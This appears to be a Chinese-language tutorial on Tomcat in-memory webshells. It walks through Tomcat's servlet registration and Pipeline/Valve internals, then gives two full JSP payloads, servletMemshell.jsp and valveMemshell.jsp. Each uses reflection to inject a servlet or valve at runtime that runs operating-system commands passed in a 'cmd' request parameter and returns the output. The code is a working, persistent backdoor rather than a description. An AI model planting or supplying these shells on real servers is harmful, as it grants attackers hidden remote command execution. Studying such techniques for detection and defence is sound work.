package org.example.servlet; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebServlet(value = "/hello", name = "hello") public class HelloServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doGet(req, resp); System.out.println("doget"); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { super.doPost(req, resp); System.out.println("dopost"); } }
web.xml中添加配置
<servlet> <servlet-name>hello</servlet-name> <servlet-class>org.example.servlet.HelloServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>hello</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping>
在doGet方法下断点,调试
函数调用栈:
doGet:15, HelloServlet (org.example.servlet) service:502, HttpServlet (javax.servlet.http) service:596, HttpServlet (javax.servlet.http) internalDoFilter:209, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) doFilter:17, HelloFilter (org.example.filter) internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core) doFilter:153, ApplicationFilterChain (org.apache.catalina.core) invoke:167, StandardWrapperValve (org.apache.catalina.core) invoke:90, StandardContextValve (org.apache.catalina.core) invoke:492, AuthenticatorBase (org.apache.catalina.authenticator) invoke:130, StandardHostValve (org.apache.catalina.core) invoke:93, ErrorReportValve (org.apache.catalina.valves) invoke:673, AbstractAccessLogValve (org.apache.catalina.valves) invoke:74, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:389, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
在StandardContext中,与servlet相关的有这两个属性:
children:
servletMappings:
查看实现类ApplicationContext中的addServlet方法
private ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException { // servlet不能为空 if (servletName == null || servletName.equals("")) { throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", servletName)); } // TODO Spec breaking enhancement to ignore this restriction checkState("applicationContext.addServlet.ise"); // 根据name在context的children中获取对应的Wrapper Wrapper wrapper = (Wrapper) context.findChild(servletName); // Assume a 'complete' ServletRegistration is one that has a class and // a name // 如果不存在对应的Wrapper,就创建一个 if (wrapper == null) { wrapper = context.createWrapper(); wrapper.setName(servletName); context.addChild(wrapper); } else { if (wrapper.getName() != null && wrapper.getServletClass() != null) { if (wrapper.isOverridable()) { wrapper.setOverridable(false); } else { return null; } } } ServletSecurity annotation = null; if (servlet == null) { // 设置servletClass wrapper.setServletClass(servletClass); Class<?> clazz = Introspection.loadClass(context, servletClass); if (clazz != null) { annotation = clazz.getAnnotation(ServletSecurity.class); } } else { // 设置servletClass wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); if (context.wasCreatedDynamicServlet(servlet)) { annotation = servlet.getClass().getAnnotation(ServletSecurity.class); } } if (initParams != null) { for (Map.Entry<String, String> initParam : initParams.entrySet()) { wrapper.addInitParameter(initParam.getKey(), initParam.getValue()); } } //创建AoolicationServletRegistration对象并返回 ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, context); if (annotation != null) { registration.setServletSecurity(new ServletSecurityElement(annotation)); } return registration; }
然后在ApplicationServletRegistration的addMapping中
@Override public Set<String> addMapping(String... urlPatterns) { if (urlPatterns == null) { return Collections.emptySet(); } Set<String> conflicts = new HashSet<>(); for (String urlPattern : urlPatterns) { String wrapperName = context.findServletMapping(urlPattern); if (wrapperName != null) { Wrapper wrapper = (Wrapper) context.findChild(wrapperName); if (wrapper.isOverridable()) { // Some Wrappers (from global and host web.xml) may be // overridden rather than generating a conflict context.removeServletMapping(urlPattern); } else { conflicts.add(urlPattern); } } } if (!conflicts.isEmpty()) { return conflicts; } // 向context中添加URL和对应的wrapper for (String urlPattern : urlPatterns) { context.addServletMappingDecoded(UDecoder.URLDecode(urlPattern, StandardCharsets.UTF_8), wrapper.getName()); } if (constraint != null) { context.addServletSecurity(this, constraint); } return Collections.emptySet(); }
这个方法调用了StandardContext的addServletMappingDecoded方法,添加URL路径与Wrapper对象的映射
@Override public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) { // Validate the proposed mapping if (findChild(name) == null) { throw new IllegalArgumentException(sm.getString("standardContext.servletMap.name", name)); } String adjustedPattern = adjustURLPattern(pattern); if (!validateURLPattern(adjustedPattern)) { throw new IllegalArgumentException(sm.getString("standardContext.servletMap.pattern", adjustedPattern)); } // Add this mapping to our registered set synchronized (servletMappingsLock) { String name2 = servletMappings.get(adjustedPattern); if (name2 != null) { // Don't allow more than one servlet on the same pattern Wrapper wrapper = (Wrapper) findChild(name2); wrapper.removeMapping(adjustedPattern); } // 这里 servletMappings.put(adjustedPattern, name); } Wrapper wrapper = (Wrapper) findChild(name); wrapper.addMapping(adjustedPattern); fireContainerEvent("addServletMapping", adjustedPattern); }
通过这个方法在servletMappings中添加URL路径与name的映射
servletMemshell.jsp:
<%-- Created by IntelliJ IDEA. User: Dili Date: 2023/9/19 Time: 18:43 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% class MyServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if(req.getParameter("cmd") != null) { InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")}).getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A"); String out = scanner.hasNext()?scanner.next():""; resp.getWriter().write(out); } catch (Exception e) {} } } @Override public void destroy() { super.destroy(); } } %> <% try { String myServletname = "myServletShell"; // 获取应用程序上下文对象(ApplicationContextFacade) ServletContext servletContext = request.getSession().getServletContext(); if(servletContext.getServletRegistration(myServletname) == null) { // 获取ApplicationContext Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); // 获取StandardContext Field standardConextField = applicationContext.getClass().getDeclaredField("context"); standardConextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardConextField.get(applicationContext); // 创建自定义的servlet MyServlet myServlet = new MyServlet(); // 使用Wrapper封装Servlet Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(myServletname); wrapper.setServletClass(myServlet.getClass().getName()); wrapper.setServlet(myServlet); // 向standardContext中的child添加wrapper standardContext.addChild(wrapper); // 向servletMappings中添加 standardContext.addServletMappingDecoded("/myservlet", myServletname); } } catch (Exception e) { e.printStackTrace(); } %>
Tomcat中定义了两个接口,分别是Pipeline(管道)和Valve(阀),参考一张图:
如上图所示,Tomcat每个层级的容器()都维持一个管道(Pipeline示例),在ContainerBase中实例化了一个PipeLine对象,而如StandardContext这些类继承ContainerBase类
protected final Pipeline pipeline = new StandardPipeline(this);
而且在每个层级的容器中,都有基础的Valve,如StandardHostValve、StandardEngineValve、StandardContextValve、StandardWrapperValve,都继承了ValveBase基础类,它们位于各容器管道的最后一个位置(即图中的basic位置),并且在invoke方法中,都存在获取下一个管道并且调用下一个管道第一个阀门的代码
ValveBase类继承了Valve接口,这个类实现了生命接口及MBean接口
Pipeline接口:
Valve接口:
HelloValve类:
package org.example.valve; import org.apache.catalina.connector.Request; import org.apache.catalina.connector.Response; import org.apache.catalina.valves.ValveBase; import javax.servlet.ServletException; import java.io.IOException; public class HelloValve extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { System.out.println("yes"); } }
Tomcat中的server.xml配置:
<Valve className="org.example.valve.HelloValve" />
valveMemshell.jsp:
<%-- Created by IntelliJ IDEA. User: Dili Date: 2023/9/22 Time: 23:12 To change this template use File | Settings | File Templates. --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="java.io.IOException" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%! public class ValveShell extends ValveBase { @Override public void invoke(Request request, Response response) throws IOException, ServletException { if(request.getParameter("cmd") != null) { InputStream in = null; try { in = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/C", request.getParameter("cmd")}).getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A"); String out = scanner.hasNext()?scanner.next():""; response.getWriter().write(out); } catch (Exception e) {} } } } %> <% ServletContext serverContext = request.getSession().getServletContext(); Field applicationContextField = serverContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(serverContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); ValveShell myValveShell = new ValveShell(); standardContext.getPipeline().addValve(myValveShell); %>
本文对涉及的代码进行了逐行阅读,重要部分也加上了注释。由于篇幅原因,Valve部分没有详细描述,原理相似。在学习内存马之前没有深入理解过Tomcat底层的原理,包括脚本启动、初始化类加载器、解析文件、启动组件等,这些前置知识很重要,详细后续再更新..